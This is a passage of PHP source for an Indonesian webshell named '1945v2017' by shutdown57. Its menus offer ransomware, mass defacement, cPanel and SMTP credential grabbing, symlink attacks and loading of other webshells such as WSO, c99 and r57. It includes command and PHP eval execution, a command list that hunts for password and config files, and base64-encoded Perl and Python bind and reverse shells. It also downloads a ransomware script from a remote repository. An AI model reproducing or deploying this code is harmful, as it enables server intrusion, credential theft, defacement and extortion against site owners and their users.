".$html->a($ak."mail","Mail","title=\"Send email\"")." ]");$li.=$html->li("[ ".$html->a($ak."rsw","Ransomware","title=\"Carefully,with this tools\"")." ]");$li.=$html->li("[ ".$html->a("javascript:tukar_om('menu','kcy');","kuchiyose","title=\"come your favorite tools\"")." ]");$li.=$html->li("[ ".$html->a("javascript:tukar_om('menu','tools');","List Tools","title=\"toolsate Tools\"")." ]");$li.=$html->li("[ ".$html->a($ak."sh","CGI Shell","title=\"CGI Telnet - Bash \"")." ]");$li.=$html->li("[ ".$html->a($ak."telnet","CGI Perl","title=\"CGI Telnet - Perl\"")." ]");$li.=$html->li("[ ".$html->a($ak."help","Help","title=\"Pusat bantuan\"")." ]");$li.=$html->li("[ ".$html->a($ak."abt","About","title=\"About\"")." ]");$li.=$html->li("[ ".$html->a($ak."log","Logout","title=\"Logout And Destroy Session\"")." ]");$tools=$html->li("[ ".$html->a($ak."config","Get Config","title=\"Get Config\"")." ]");$tools.=$html->li("[ ".$html->a($ak."grabcp","Grab Cpanel","title=\"Grab Cpanel\"")." ]");$tools.=$html->li("[ ".$html->a($ak."jump","Jumping","title=\"Jumping Loncat indah ..\"")." ]");$tools.=$html->li("[ ".$html->a($ak."sym","Symlink","title=\"Create Symbolic link\"")." ]");$tools.=$html->li("[ ".$html->a($ak."jpgshell","*.Jpg Shell (.htacess)","title=\"Bypass shell to jpg\"")." ]");$tools.=$html->li("[ ".$html->a($ak."stamp","Stamped Site","title=\"Stamp this Site\"")." ]");$tools.=$html->li("[ ".$html->a($ak."smtp","SMTP Grabber","title=\"Get SMTP in this server\"")." ]");$tools.=$html->li("[ ".$html->a($ak."rdp","RDP Tools","title=\"RDP tools\"")." ]");$tools.=$html->li("[ ".$html->a($ak."adm","Admin Finder","title=\"Find admin login page\"")." ]");$tools.=$html->li("[ ".$html->a($ak."fake","Fake Root","title=\"Reverse IP and fakeroot\"")." ]");$tools.=$html->li("[ ".$html->a($ak."massd","Mass Deface","title=\"Mass Defacer\"")." ]");$tools.=$html->li("[ ".$html->a($ak."zoneh","Zone-H","title=\"zoneH mass Notifier\"")." ]");$tools.=$html->li("[ ".$html->a("javascript:tukar_om('tools','menu');","Back")." ]");$kcy=$html->li("[ ".$html->a($ak."kuchiyose_wso","WSO 2.5","")." ]");$kcy.=$html->li("[ ".$html->a($ak."kuchiyose_b374k","b374k 2.8","")." ]");$kcy.=$html->li("[ ".$html->a($ak."kuchiyose_idx","indoXploit v2","")." ]");$kcy.=$html->li("[ ".$html->a($ak."kuchiyose_1945","1945v1","")." ]");$kcy.=$html->li("[ ".$html->a($ak."kuchiyose_ayana","Ayana Shahab priv8 Shell","")." ]");$kcy.=$html->li("[ ".$html->a($ak."kuchiyose_lc","linuXcodev2017","")." ]");$kcy.=$html->li("[ ".$html->a($ak."kuchiyose_wa","WebAdmin","")." ]");$kcy.=$html->li("[ ".$html->a($ak."kuchiyose_ms","Mini-Shell","")." ]");$kcy.=$html->li("[ ".$html->a($ak."kuchiyose_noname","NoName Shell","")." ]");$kcy.=$html->li("[ ".$html->a($ak."kuchiyose_it","ITSecTeam","")." ]");$kcy.=$html->li("[ ".$html->a($ak."kuchiyose_c99","c99 shell","")." ]");$kcy.=$html->li("[ ".$html->a("javascript:tukar_om('kcy','kcy1');","Next kuchiyose !","")." ]");$kcy1=$html->li("[ ".$html->a($ak."kuchiyose_r57","r57 shell","")." ]");$kcy1.=$html->li("[ ".$html->a($ak."kuchiyose_symb","Symlink Mobile","")." ]");$kcy1.=$html->li("[ ".$html->a($ak."kuchiyose_symsa","Symlink Sa 3.0","")." ]");$kcy1.=$html->li("[ ".$html->a($ak."kuchiyose_adminer","Adminer","")." ]");$kcy1.=$html->li("[ ".$html->a("javascript:tukar_om('kcy1','kcy');","Back ","")." ]");$kcy1.=$html->li("[ ".$html->a("javascript:tukar_om('kcy1','menu');","Main menu")." ]");$html->show("<div id='kcy' style='display:none'>".$html->ul($kcy)."</div>");$html->show("<div id='kcy1' style='display:none'>".$html->ul($kcy1)."</div>");$html->show("<div id='tools' style='display:none'>".$html->ul($tools)."</div>");$html->show("<div id='menu'>".$html->ul($li)."</div>");$html->show("<div id='upload' style='display:none;'><center>");$html->show("<form method=\"POST\" enctype=\"multipart/form-data\">");$s=$html->input("file","filup[]","style=\"border:0;width:200px\" multiple=\"multiple\"","upload file ");$s.=$html->input("text","dirup","style=\"width:200px;\" value=\"".$dir."\"","Upload to ");$s.=$html->submit("uploadfile","value=\"Upload !!\"");$html->show($s);$html->show("</form></center></div>");if(isset($_POST['uploadfile'])){$file_up=$act->array_upload($_FILES['filup']);foreach($file_up as $filup){if($act->upload($filup['tmp_name'],$_POST['dirup']."/".$filup['name'])){$res_upl.="Successfuly Upload file : ".$_POST['dirup']."/".$filup['name']."<br />";}else {$res_upl.="Failed to upload file !";}}}$cmdinputz=$html->input("text","cmd","","command >>");$cmdinputz.=$html->submit("","value=\">>\"");$html->show("<div id='cmdx' style='display:none;'><center>");$html->show("<form method='POST' action='?__merdeka__=$dir&__action__=cmd'>".$cmdinputz."</form></center>");$html->show("</div>");$html->show("<hr>");$html->show($res_upl);if(isset($_GET['__action__'])||isset($_GET['__files__'])){$__files__=$_GET['__files__'];$__action__=$_GET['__action__'];$__merdeka__=$_GET['__merdeka__'];if($__action__=="view"){$html->show("<div class=\"action\">");$html->show("<b>Files :</b> ".$__files__."<br />");$html->show("<b>Action :</b> ".$fileman->actionfile($__files__)."<br />");$html->show("</div>");$html->show("<hr>");$html->show($html->pre($fileman->viewfile($__files__)));}elseif($__action__=="mkdir"){$html->show($html->h1("Create New Directory"));$input=$html->input("text","mkdir","style=\"width:300px;\" value=\"New_dir\"","CreateNewDir").$html->submit("submitdir","value=\"Create !\"");$html->show($html->form("POST",$input));if(isset($_POST['submitdir'])){if($act->mkdirr($__merdeka__,$_POST['mkdir'])){$html->actdone();}else {$html->actfail();}}}elseif($__action__=="hex"){$html->show("<b>Files :</b> ".$__files__."<br />");$html->show("<b>Action :</b> ".$fileman->actionfile($__files__)."<br />");$html->show("<hr>");$html->show("<center>".$html->h1("HexDump")."</center>");$act->HexDump45(htmlspecialchars(file_get_contents($__files__)));}elseif($__action__=="delete"){if($__merdeka__){$del=$__merdeka__;}else {$del=$__files__;}if($act->delete($del)){$html->show("<script>window.location.href=\"?__merdeka__=".dirname($del)."\"</script>");}else {$html->show("<script>window.location.href=\"?__merdeka__=".dirname($del)."\"</script>");}}elseif($__action__=="rename"){if($__merdeka__){$ren_f=$__merdeka__;$acta="<b>Action :</b> ".$fileman->actiondir($__merdeka__);}else {$ren_f=$__files__;$acta="<b>Action :</b> ".$fileman->actionfile($__files__);}$html->show("<b>Files :</b> ".$ren_f."<br />");$html->show($acta."<br />");$html->show("<hr>");$html->show("<center>");$html->show($html->h1("Rename Files / Directory"));$input="<p>Oldname : <b>".basename($ren_f)."</b></p>";$input.=$html->input("text","newname","value=\"usos_1945.php\" ","newName");$input.=$html->submit("renamed","value=\"Save Newname\"");$html->show($html->form("POST",$input));$html->show("</center>");if(isset($_POST['renamed'])){if($act->renamet($ren_f,dirname($ren_f)."/".$_POST['newname'])){$html->actdone();}else {$html->actfail();}}}elseif($__action__=="edit"){$html->show("<b>Files :</b> ".$__files__."<br />");$html->show("<b>Action :</b> ".$fileman->actionfile($__files__)."<br />");$html->show("<hr><center>");$html->show($html->h1("Edit files"));$htmlo=htmlspecialchars(file_get_contents($__files__));$html->show($html->form("POST",$html->textarea("editfile",$htmlo,"")."<br />".$html->submit("submitfile","value=\"Save Changes!\""))."</center>");if(isset($_POST['submitfile'])){if($act->simpantext($__files__,$_POST['editfile'])){$html->actdone();}else {$html->actfail();}}}elseif($__action__=="touch"){$html->show("<b>Create file on :</b> ".$__merdeka__."<br />");$html->show("<b>Action :</b> ".$fileman->actiondir($__merdeka__)."<br />");$html->show("<hr><center>");$html->show($html->h1("New files")."</center>");$inputnf=$html->input("text","filename","value=\"newfile_1945.php\"","File Name");$inputnf.=$html->submit("submitf","value=\"Save !\"");$inputnf.=$html->textarea("newfile","# 1945v2017 by shutdown57\n# Date : ".date('c'));$html->show($html->form("POST",$inputnf));if(isset($_POST['submitf'])){if($act->simpantext($__merdeka__."/".$_POST['filename'],$_POST['newfile'])){$html->actdone();}else {$html->actfail();}}}elseif($__action__=="infophp"){@ob_start();@eval("phpinfo();");$buff=@ob_get_contents();@ob_end_clean();$awal=strpos($buff,"<body>")+6;$akhir=strpos($buff,"</body>");$html->show("<center><div class=\"a_exp\">".substr($buff,$awal,$akhir-$awal)."</div></center>");}elseif($__action__=="sec"){$sysfo->SecInfo();}elseif($__action__=="cmd"){$html->show("<center>");$html->show($html->h1("Command : ".$_SERVER['HTTP_HOST']));$html->show("<br />");if($GLOBALS['os']=='win'){$cheat=array("Cheat Set :'v"=>"","List Directory"=>"dir","Find index.php in current dir"=>"dir /s /w /b index.php","Find *config*.php in current dir"=>"dir /s /w /b *config*.php","Show active connections"=>"netstat -an","Show running services"=>"net start","User accounts"=>"net user","Show computers"=>"net view","ARP Table"=>"arp -a","IP Configuration"=>"ipconfig /all");}else {$cheat=array("Cheat Set :'v"=>"","List dir"=>"ls -lha","list file attributes on a Linux second extended file system"=>"lsattr -va","show opened ports"=>"netstat -an | grep -i listen","process status"=>"ps aux","find all suid files"=>"find / -type f -perm -04000 -ls","find suid files in current dir"=>"find . -type f -perm -04000 -ls","find all sgid files"=>"find / -type f -perm -02000 -ls","find sgid files in current dir"=>"find . -type f -perm -02000 -ls","find config.inc.php files"=>"find / -type f -name config.inc.php","find config* files"=>"find / -type f -name \"config*\"","find config* files in current dir"=>"find . -type f -name \"config*\"","find all writable folders and files"=>"find / -perm -2 -ls","find all writable folders and files in current dir"=>"find . -perm -2 -ls","find all service.pwd files"=>"find / -type f -name service.pwd","find service.pwd files in current dir"=>"find . -type f -name service.pwd","find all .htpasswd files"=>"find / -type f -name .htpasswd","find .htpasswd files in current dir"=>"find . -type f -name .htpasswd","find all .bash_history files"=>"find / -type f -name .bash_history","find .bash_history files in current dir"=>"find . -type f -name .bash_history","find all .fetchmailrc files"=>"find / -type f -name .fetchmailrc","find .fetchmailrc files in current dir"=>"find . -type f -name .fetchmailrc","Locate"=>"","locate httpd.conf files"=>"locate httpd.conf","locate vhosts.conf files"=>"locate vhosts.conf","locate proftpd.conf files"=>"locate proftpd.conf","locate psybnc.conf files"=>"locate psybnc.conf","locate my.conf files"=>"locate my.conf","locate admin.php files"=>"locate admin.php","locate cfg.php files"=>"locate cfg.php","locate conf.php files"=>"locate conf.php","locate config.dat files"=>"locate config.dat","locate config.php files"=>"locate config.php","locate config.inc files"=>"locate config.inc","locate config.inc.php"=>"locate config.inc.php","locate config.default.php files"=>"locate config.default.php","locate config* files "=>"locate config","locate .conf files"=>"locate '.conf'","locate .pwd files"=>"locate '.pwd'","locate .sql files"=>"locate '.sql'","locate .htpasswd files"=>"locate '.htpasswd'","locate .bash_history files"=>"locate '.bash_history'","locate .mysql_history files"=>"locate '.mysql_history'","locate .fetchmailrc files"=>"locate '.fetchmailrc'","locate backup files"=>"locate backup","locate dump files"=>"locate dump","locate priv files"=>"locate priv");}foreach($cheat as $v=>$s){$opt.=$html->option($s,$v);}$val=(!empty($_POST['cmd1']))?$_POST['cmd1']:$_POST['cmd'];$input=$html->input("text","cmd","value=\"".$val."\" style=\"width:400px;\"","1945@".$_SERVER['HTTP_HOST']);$input.=$html->select("cmd1",$opt,"class=\"input_m\"");$input.=$html->submit("subcmd"," value=\">>\"");$html->show($html->form("POST",$input));$html->show("</center>");if(isset($_POST)){$ll=(!empty($_POST['cmd1']))?$_POST['cmd1']:$_POST['cmd'];if(preg_match("/^cd(.*)/",$_POST['cmd'],$m,PREG_OFFSET_CAPTURE)){$loc=str_replace(" ","",$m[1][0]);header('location:?__merdeka__='.$loc.'');}$html->show("<hr>");$html->show("<pre class=\"code\">");$html->show(FileMan45::cmd($ll));$html->show("</pre>");}}elseif($__action__=="sql"){if(empty($_COOKIE['hostname'])||(empty($_COOKIE['username']))||(empty($_COOKIE['password']))||(empty($_COOKIE['database']))){$html->show("<center>".$html->h1("Connect SQL")."</center>");$option_sql=$html->option("mysql","MySQL");$option_sql.=$html->option("mysqli","MySQLi");$input="<table align=center>";$input.=$html->tr($html->td("Connect ").$html->td($html->select("connect_mode",$option_sql,"class=\"input_m\"")));$input.=$html->tr($html->td("Hostname ").$html->td($html->input("text","hostname","","")));$input.=$html->tr($html->td("Username ").$html->td($html->input("text","username","","")));$input.=$html->tr($html->td("Password ").$html->td($html->input("text","password","","")));$input.=$html->tr($html->td("Database").$html->td($html->input("text","database","","")));$input.=$html->tr($html->td("").$html->td($html->submit("simpandb","value=\"connect\" ")));$input.="</table>";$html->show($html->form("POST",$input));$html->show("<center>SQL Manager with adminer ? ".$html->a("?__merdeka__=$dir&__action__=kuchiyose_adminer","click here","")." Goodlvck Dude. </center>");if(isset($_POST['simpandb'])){$exp=time()+(86400*30);setcookie("hostname",$_POST['hostname'],$exp);setcookie("username",$_POST['username'],$exp);setcookie("password",$_POST['password'],$exp);setcookie("database",$_POST['database'],$exp);setcookie("tipe",$_POST['connect_mode'],$exp);$html->show("<meta http-equiv='refresh' content='0;url='>");}}else {$username=$_COOKIE['username'];$password=$_COOKIE['password'];$database=$_COOKIE['database'];$hostname=$_COOKIE['hostname'];$tipe=$_COOKIE['tipe'];$html->show("<center><h1> SQL iFace</h1><p> Database : ".$database." [<a href='?__merdeka__=$dir&__action__=cdb'>close connection</a>]</center>");if($tipe=="mysqli"){if(empty($_POST['query']))$val="SHOW DATABASES;";else $val=$_POST['query'];$html->show("<center>");$input=$html->textarea("query",$val,"style=\"width:90%;height:200px\"");$input.="<br />".$html->submit("execute","value=\"Execute query\"")."<br />";$cn=mysqli_connect($hostname,$username,$password,$database) or die(mysqli_error());$html->show($html->form("POST",$input));if(isset($_POST['execute'])){$results=mysqli_query($cn,$_POST['query']);$html->show("<table align=center class=\"a_exp\" style=\"width:80%\">");while($arr=mysqli_fetch_array($results)){foreach($arr as $k=>$v){if(intval($k)!=0||$k=='0')continue;echo "<tr><td>$k </td><td> $v </td></tr>";}}$html->show("</table>");}}elseif($tipe=="mysql"){if(empty($_POST['query']))$val="SHOW DATABASES;";else $val=$_POST['query'];$html->show("<center>");$input=$html->textarea("query",$val,"style=\"width:90%;height:200px\"");$input.="<br />".$html->submit("execute","value=\"Execute query\"")."<br />";$cn=mysql_connect($hostname,$username,$password) or die(mysqli_error());$cn.=mysql_select_db($database);$html->show($html->form("POST",$input));if(isset($_POST['execute'])){$results=mysql_query($_POST['query']);$html->show("<table align=center class=\"a_exp\" style=\"width:80%\">");while($arr=mysql_fetch_array($results)){foreach($arr as $k=>$v){if(intval($k)!=0||$k=='0')continue;echo "<tr><td>$k </td><td> $v </td></tr>";}}$html->show("</table>");}}}}elseif($__action__=="cdb"){setcookie("hostname","");setcookie("username","");setcookie("password","");setcookie("database","");$html->show("<meta http-equiv='refresh' content='0;url=?'>");}elseif($__action__=="php"){$val=(isset($_POST['eval']))?$_POST['eval']:"echo \"HELLO Noobz! :*\";";$html->show("<center>");$html->show($html->h1("Execute php"));$input=$html->textarea("eval",$val,"");$input.=$html->submit("submitphp","value=\"Execute PHP !\" style=\"width:200px\" onsubmit=\"#code\"");$html->show($html->form("POST",$input));if(isset($_POST['submitphp'])){$html->show("</center><br /><br /><hr><div id=\"code\" class=\"code\">");eval($_POST['eval']);$html->show("</center></div>");}}elseif($__action__=="ps"){$html->show("<center>");$html->show($html->h1("Proccess Status"));$html->show("</center><div class=\"code\">");$c=(preg_match("/Linux/",php_uname()))?"ps aux":"tasklist /V /FO csv";$html->show($html->pre(FileMan45::cmd($c)));$html->show("</center></div>");}elseif($__action__=="str"){$str_a=array("url"=>"URL","cuu"=>"convert_uu","b64"=>"base64","b64b64"=>"base64 -> base64","b64url"=>"base64 -> url","b64str"=>"bas64 -> str_rot13","b64strgz"=>"base64 -> str_rot13 -> gzinflate","b64cuu"=>"base64 -> convert_uu",""=>">---------[ Hash ]---------<","md2"=>"MD2","md4"=>"MD4","md5"=>"MD5","sha1"=>"SHA1","sha256"=>"SHA256","sha384"=>"SHA384","sha512"=>"SHA512","crypt"=>"crypt","mdmd5"=>"MD5 -> MD5");$html->show("<br />");foreach($str_a as $str=>$val){$opt.=$html->option($str,$val);}if(isset($_POST['encode'])){$o=$_POST['mode'];switch($o){case 'url':$val=urlencode($_POST['str']);break;case 'b64':$val=base64_encode($_POST['str']);break;case 'cuu':$val=convert_uuencode($_POST['str']);break;case 'b64b64':$val=base64_encode(base64_encode($_POST['str']));break;case 'b64str':$val=base64_encode(str_rot13($_POST['str']));break;case 'b64url':$val=base64_encode(urlencode($_POST['str']));break;case 'b64strgz':$val=base64_encode(str_rot13(gzdeflate($_POST['str'])));break;case 'b64cuu':$val=base64_encode(convert_uuencode($_POST['str']));break;default:$val=$_POST['str'];break;}}if(isset($_POST['decode'])){$o=$_POST['mode'];switch($o){case 'url':$val=urldecode($_POST['str']);break;case 'b64':$val=base64_decode($_POST['str']);break;case 'cuu':$val=convert_uudecode($_POST['str']);break;case 'b64b64':$val=base64_decode(base64_decode($_POST['str']));break;case 'b64str':$val=str_rot13(base64_decode($_POST['str']));break;case 'b64url':$val=urldecode(base64_decode($_POST['str']));break;case 'b64strgz':$val=gzinflate(str_rot13(base64_decode($_POST['str'])));break;case 'b64cuu':$val=convert_uudecode(base64_decode($_POST['str']));break;default:$val=$_POST['str'];break;}}if(isset($_POST['hash'])){$o=$_POST['mode'];switch($o){case 'md2':$val=hash("md2",$_POST['str']);break;case 'md4':$val=hash("md4",$_POST['str']);break;case 'md5':$val=md5($_POST['str']);break;case 'sha1':$val=sha1($_POST['str']);break;case 'sha256':$val=hash("sha256",$_POST['str']);break;case 'sha384':$val=hash("sha384",$_POST['str']);break;case 'sha512':$val=hash("sha512",$_POST['str']);break;case 'crypt':$val=crypt($_POST['str']);break;case 'md':$val=md5(md5($_POST['str']));default:$val=$_POST['str'];break;}}$html->show($html->h1("<center>String Tools</center>"));$input="<label for=\"mode\">Operate :</label>".$html->select("mode",$opt,"class=\"input_m\" style=\"width:300px\"");$input.=$html->submit("hash","value=\"Hash !\"");$input.=$html->submit("encode","value=\"Encode !\"");$input.=$html->submit("decode","value=\"Decode !\"");$vall=(empty($_POST))?"// String Tools c0ded by shutdown57":$vall=$val;$input.="<br />".$html->textarea("str",$val,"");$html->show($html->form("POST",$input));}elseif($__action__=="net"){$html->show("<center>");$html->show($html->h1("Remote Shell"));$html->show("<b>Bind Port ::</b>");$input_bp=$html->input("text","binport","value=\"1945\"","Port ");$input_bp.=$html->submit("sbp","value=\"Connect !\"");$backc_arr=array("php"=>"PHP","py"=>"Python","pl"=>"Perl");foreach($backc_arr as $bc=>$val){$optbc.=$html->option($bc,$val);}$input_bc="<table align=center>";$input_bc.=$html->tr($html->td("Server ").$html->td($html->input("text","ipbc","value=\"".gethostbyname($_SERVER['HTTP_HOST'])."\"","")));$input_bc.=$html->tr($html->td("Port").$html->td($html->input("text","pbc","value=\"1945\"","")));$input_bc.=$html->tr($html->td("Method  :").$html->td($html->select("jbc",$optbc,"class=\"input_m\"")));$input_bc.="</table>";$input_bc.=$html->submit("sbc","value=\"Connect !\"");$html->show($html->form("POST",$input_bp));$html->show("<br /><br />");$html->show("<b>Backconnect ::</b>");$html->show($html->form("POST",$input_bc));if(isset($_POST['sbp'])){$script_bind_port="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";$act->simpantext("/tmp/1945_bp.pl",base64_decode($script_bind_port));$port=$_POST['bindport'];$res=FileMan45::cmd("perl /tmp/1945_bp.pl 1>/dev/null 2>&1 &");$html->show("<pre class=\"code\">");$html->show($res."\n\n");$html->show(FileMan45::cmd("ps aux | grep 1945_bp.pl"));unlink("/tmp/1945_bp.pl");$html->show("</pre>");}if(isset($_POST['sbc'])){if($_POST['jbc']=='pl'){$script_back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQokc2ggPSAiZXhwb3J0IFRFUk09eHRlcm07UFMxPSdcJFBXRCBbMTk0NXYyMDE3XSA+JztleHBvcnQgUFMxOy9iaW4vc2ggLWkiOw0Kc29ja2V0KFNPQ0tFVCwgUEZfSU5FVCwgU09DS19TVFJFQU0sICRwcm90bykgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KY29ubmVjdChTT0NLRVQsICRwYWRkcikgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0Kb3BlbihTVERJTiwgIj4mU09DS0VUIik7DQpvcGVuKFNURE9VVCwgIj4mU09DS0VUIik7DQpvcGVuKFNUREVSUiwgIj4mU09DS0VUIik7DQpzeXN0ZW0oJ2VjaG8gIistLS0tLVsgMTk0NXYyMDE3IHNoZWxsIGMwZGVkIGJ5IDogc2h1dGRvd241NyBdLS0tLS0rIicpOw0Kc3lzdGVtKCdlY2hvICIrLS0tLS0tLS0tLVsgNzJ0aCBJbmRvbmVzaWEgTWVyZGVrYSBdLS0tLS0tLS0tKyIgOyBbK10gd2FpdCAuLiA7IHNsZWVwIDUnKTsNCnN5c3RlbSgkc2gpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";$act->simpantext("1945_bc.pl",base64_decode($script_back_connect));$port=$_POST['pbc'];$ip=$_POST['ipbc'];$res=FileMan45::cmd("perl 1945_bc.pl $ip $port 1>/dev/null 2>&1 &");$html->show("<pre class=\"code\">");$html->show($res."\n\n");$html->show(FileMan45::cmd("ps aux | grep 1945_bc.pl"));unlink("1945_bc.pl");$html->show("</pre>");}elseif($_POST['jbc']=='php'){$ip=$_POST['ipbc'];$port=$_POST['pbc'];$sockfd=fsockopen($ip,$port,$errno,$errstr);if($errno!=0){echo "<font color='red'>$errno : $errstr</font>";}elseif(!$sockfd){$result="<p>Unexpected error has occured, connection may have failed.</p>";}else {fputs($sockfd,"\n=> 1945v2017 shell <=\n=>IndonesianPeople (c) 2017<=\n=>By : shutdown57<=\n");$dir=shell_exec("pwd");$sysinfo=shell_exec("uname -a");$time=Shell_exec("time");$len=1337;fputs($sockfd,"User ",$sysinfo,"connected @ ",$time,"\n\n");while(!feof($sockfd)){$cmdPrompt='1945v2017 ['.getcwd().'] >>';fputs($sockfd,$cmdPrompt);$command=fgets($sockfd,$len);fputs($sockfd,"\n".shell_exec($command)."\n\n");}fclose($sockfd);}}elseif($_POST['jbc']=='py'){$sc_bc_py="IyEvdXNyL2Jpbi9weXRob24NCiNVc2FnZTogcHl0aG9uIGZpbGVuYW1lLnB5IEhPU1QgUE9SVA0KaW1wb3J0IHN5cywgc29ja2V0LCBvcywgc3VicHJvY2Vzcw0KaXBsbyA9IHN5cy5hcmd2WzFdDQpwb3J0bG8gPSBpbnQoc3lzLmFyZ3ZbMl0pDQpzb2NrZXQuc2V0ZGVmYXVsdHRpbWVvdXQoNjApDQpkZWYgcHliYWNrY29ubmVjdCgpOg0KICB0cnk6DQogICAgam1iID0gc29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pDQogICAgam1iLmNvbm5lY3QoKGlwbG8scG9ydGxvKSkNCiAgICBqbWIuc2VuZCgnJydcbj0+IDE5NDV2MjAxNyA8PSBcbiA9PiBJbmRvbmVzaWFuUGVvcGxlIChjKSAyMDE3IDw9IFxuID0+IGJhY2tDb25uZWN0LnB5IHwgc2h1dGRvd241NyBcbiAnJycpDQogICAgb3MuZHVwMihqbWIuZmlsZW5vKCksMCkNCiAgICBvcy5kdXAyKGptYi5maWxlbm8oKSwxKQ0KICAgIG9zLmR1cDIoam1iLmZpbGVubygpLDIpDQogICAgb3MuZHVwMihqbWIuZmlsZW5vKCksMykNCiAgICBzaGVsbCA9IHN1YnByb2Nlc3MuY2FsbChbIi9iaW4vc2giLCItaSJdKQ0KICBleGNlcHQgc29ja2V0LnRpbWVvdXQ6DQogICAgcHJpbnQgIlRpbU91dCINCiAgZXhjZXB0IHNvY2tldC5lcnJvciwgZToNCiAgICBwcmludCAiRXJyb3IiLCBlDQpweWJhY2tjb25uZWN0KCk=";$act->simpantext("1945_bc.py",base64_decode($sc_bc_py));$port=$_POST['pbc'];$ip=$_POST['ipbc'];$res=FileMan45::cmd("python 1945_bc.py $ip $port");$html->show("<pre class=\"code\">");$html->show($res."\n\n");$html->show(FileMan45::cmd("ps aux | grep 1945_bc.py"));unlink("1945_bc.py");$html->show("</pre>");}}}elseif($__action__=="mail"){$html->show("<center>");$html->show($html->h1("Mail Sender"));$form=$html->input("text","to","value=\"webmaster@localhost\""," To ");$form.=$html->input("text","from","value=\"shutdown57@indonesia.go.id\""," From ");$form.=$html->input("text","subjek","value=\":* kissed\""," Subject ");$form.=$html->submit("sent","value=\"send email!\"");$form.=$html->textarea("konten","// Patch Ur Faces~","");$html->show($html->form("POST",$form));$html->show("</center>");if(isset($_POST['sent'])){$to=$_POST['to'];$from=$_POST['from'];$subjek=$_POST['subjek'];$konten=$_POST['konten'];if(mail($to,$subject,$konten,$from)){$html->show("<b> Email Sent Successfuly ~</b>");$html->actdone();}else {$html->show("<b> Email Sent Failed ~</b>");$html->actfail();}}}elseif($__action__=="rsw"){if(Act45::getscript("awesome1945.php","https://raw.githubusercontent.com/alintamvanz/webshell/master/awesome1945.php")){$html->show("<center>");echo "<script>window.open('awesome1945.php');</script>";echo "Not redirected ? <a href='awesome1945.php' target='_blank'> Click here nubz !</a> :'v ";$html->actdone();}else {$html->actfail();$html->show("</center>");}}elseif($__action__=="kuchiyose_wa"){echo "<center><h1>kuchiyose No Jutsu : ".$__action__."</h1>";$html->show($act->kuchiyose($__action__));echo "</center>";}elseif($__action__=="kuchiyose_r57"){echo "<center><h1>kuchiyose No Jutsu : ".$__action__."</h1>";$html->show($act->kuchiyose($__action__));echo "</center>";}elseif($__action__=="kuchiyose_wso"){echo "<center><h1>kuchiyose No Jutsu : ".$__action__."</h1>";$html->show($act->kuchiyose($__action__));echo "</center>";}elseif($__action__=="kuchiyose_idx"){echo "<center><h1>kuchiyose No Jutsu : ".$__action__."</h1>";$html->show($act->kuchiyose($__action__));echo "</center>";}elseif($__action__=="kuchiyose_b374k"){echo "<center><h1>kuchiyose No Jutsu : ".$__action__."</h1>";$html->show($act->kuchiyose($__action__));echo "</center>";}elseif($__action__=="kuchiyose_1945"){echo "<center><h1>kuchiyose No Jutsu : ".$__action__."</h1>";$html->show($act->kuchiyose($__action__));echo "</center>";}elseif($__action__=="kuchiyose_ayana"){echo "<center><h1>kuchiyose No Jutsu : ".$__action__."</h1>";$html->show($act->kuchiyose($__action__));echo "</center>";}elseif($__action__=="kuchiyose_lc"){echo "<center><h1>kuchiyose No Jutsu : ".$__action__."</h1>";$html->show($act->kuchiyose($__action__));echo "</center>";}elseif($__action__=="kuchiyose_it"){echo "<center><h1>kuchiyose No Jutsu : ".$__action__."</h1>";$html->show($act->kuchiyose($__action__));echo "</center>";}elseif($__action__=="kuchiyose_ms"){echo "<center><h1>kuchiyose No Jutsu : ".$__action__."</h1>";$html->show($act->kuchiyose($__action__));echo "</center>";}elseif($__action__=="kuchiyose_c99"){echo "<center><h1>kuchiyose No Jutsu : ".$__action__."</h1>";$html->show($act->kuchiyose($__action__));echo "</center>";}elseif($__action__=="kuchiyose_adminer"){echo "<center><h1>kuchiyose No Jutsu : ".$__action__."</h1>";$html->show($act->kuchiyose($__action__));echo "</center>";}elseif($__action__=="kuchiyose_noname"){echo "<center><h1>kuchiyose No Jutsu : ".$__action__."</h1>";$html->show($act->kuchiyose($__action__));echo "</center>";}elseif($__action__=="adm"){$html->show("<center>");$html->show($html->h1("Admin Finder"));if(empty($_POST['scan'])){$input=$html->input("text","url","value=\"http://indonesian.go.id\"","Target URL ");$input.=$html->submit("scan","value=\"find admin\"");$input.="<br /><br /> <b> Worldlist</b><br 